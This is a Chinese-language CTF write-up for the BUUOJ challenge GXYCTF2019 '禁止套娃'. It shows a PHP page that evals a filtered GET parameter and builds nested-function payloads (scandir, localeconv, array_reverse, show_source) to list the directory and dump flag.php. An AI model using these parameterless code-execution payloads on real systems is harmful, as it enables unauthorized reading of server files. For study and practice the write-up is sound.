https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83
.git泄露
,使用GitHack
index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
两个preg_match()
过滤一些关键字,主要看到
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
?R
表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式
xxx(xxx(xxx(...)));
函数形式,但是不能有参数,无参数RCE
,这种时候就需要翻手册了,查找无参数可利用的函数
首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()
。当scandir()
传入'.'
,可以列出当前目录的所有文件
所以如果有函数能够返回'.'
的话,就可以利用它作为scandir()
的参数
localeconv()
函数返回一包含本地数字及货币格式信息的数组
接下来只需要使得指针指向这个数组内的第一个值
current()
函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
pos()
函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
?exp=var_dump(scandir(current(localeconv())));
接下来看如何读取到flag.php
next()
函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()
函数返回翻转顺序的数组。
把数组顺序倒一下,然后使用next()
,就可以读到flag
了
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));